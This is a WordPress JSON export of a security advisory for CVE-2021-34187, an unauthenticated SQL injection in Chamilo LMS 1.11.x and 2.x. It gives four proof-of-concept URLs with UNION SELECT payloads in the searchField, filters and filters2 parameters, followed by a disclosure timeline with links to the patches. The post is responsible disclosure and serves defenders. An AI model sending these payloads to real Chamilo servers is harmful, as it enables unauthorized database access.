{"id":118,"date":"2021-06-20T10:48:30","date_gmt":"2021-06-20T04:48:30","guid":{"rendered":"https:\/\/murat.one\/?p=118"},"modified":"2021-06-30T11:31:36","modified_gmt":"2021-06-30T05:31:36","slug":"unauthenticated-sql-injection-in-chamilo-lms-1-11-x-and-dev-version-of-2-0","status":"publish","type":"post","link":"https:\/\/murat.one\/?p=118","title":{"rendered":"CVE-2021-34187. Unauthenticated SQL injection in Chamilo LMS 1.11.x and (dev version of) 2.0"},"content":{"rendered":"\n

Product:<\/strong> Chamilo LMS 1.11.x, 2.x<\/p>\n\n\n\n

Vulnerability:<\/strong> SQL injection<\/p>\n\n\n\n

Author:<\/strong> Kutlymurat Mambetniyazov (@manfromkz)<\/p>\n\n\n\n

Acknowledgements: <\/strong>NitroTeam.kz<\/p>\n\n\n\n

Date:<\/strong> 05\/25\/2021<\/p>\n\n\n\n

Description: <\/strong>Lack of sanitization of GET-parameters searchField, filters, filters2 in \/main\/inc\/ajax\/model.ajax.php leads to the multiple unauthorized SQL injections<\/p>\n\n\n\n

Tested on: <\/strong>Windows 10 x64, Apache 2.4, 10.3.22-MariaDB, PHP 7.4, Chamilo LMS 1.11.x and 2.x.<\/p>\n\n\n\n

PoC:<\/strong><\/p>\n\n\n\n

Version 1.11.x, parameter – searchField<\/strong><\/p>\n\n\n\n

http://chamilo1.11.x\/main\/inc\/ajax\/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+version())),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Version 2.x, parameter – searchField<\/strong><\/p>\n\n\n\n
http://chamilo2.x\/main\/inc\/ajax\/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+extractvalue(0x0a,concat(0x0a,(version()))))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Parameters: filters, filters2<\/strong><\/p>\n\n\n\n
http://chamilo\/main\/inc\/ajax\/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_force_search=1&search=1&searchField=1&searchOper=ni&searchString=testx&filters={%22rules%22:[{%22field%22:%221))union%20select%20version(),2,3,4--%20-%22,%22op%22:%22in%22,%22data%22:%22test%22}],%22groupOp%22:%22and%22}&from_course_session=0<\/code><\/pre>\n\n\n\n
http://chamilo\/main\/inc\/ajax\/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_force_search=1&search=1&searchField=1&searchOper=ni&searchString=testx&filters2={%22rules%22:[{%22field%22:%221))union%20select%20version(),2,3,4--%20-%22,%22op%22:%22in%22,%22data%22:%22test%22}],%22groupOp%22:%22and%22}&from_course_session=0<\/code><\/pre>\n\n\n\n
Timeline of the vulnerability:<\/strong><\/p>\n\n\n\n
05\/25\/2021 – vulnerability discover
05\/27\/2021 – notification to vendor
05\/28\/2021 – confirmation by vendor and patch release (version 1.11.x – https:\/\/github.com\/chamilo\/chamilo-lms\/commit\/f7f93579ed64765c2667910b9c24d031b0a00571<\/a> and version 2.x – https:\/\/github.com\/chamilo\/chamilo-lms\/commit\/005dc8e9eccc6ea35264064ae09e2e84af8d5b59<\/a>)
06\/01\/2021 – published on vendors issue tracker (https:\/\/support.chamilo.org\/projects\/1\/wiki\/Security_issues#Issue-67-2021-05-27-High-impact-very-high-risk-Unauthenticated-SQL-injection<\/a>)
06\/20\/2021 – published
06\/28\/2021 – CVE-2021-34187 was assigned by MITRE<\/p>\n\n\n\n
<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
Lack of sanitization of GET-parameters searchField, filters, filters2 in \/main\/inc\/ajax\/model.ajax.php leads to the multiple unauthorized SQL injections in Chamilo LMS 1.11.x and (dev version of) 2.0<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10,14],"tags":[19,18,17,16],"_links":{"self":[{"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts\/118"}],"collection":[{"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=118"}],"version-history":[{"count":11,"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts\/118\/revisions"}],"predecessor-version":[{"id":135,"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts\/118\/revisions\/135"}],"wp:attachment":[{"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=118"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=118"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=118"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}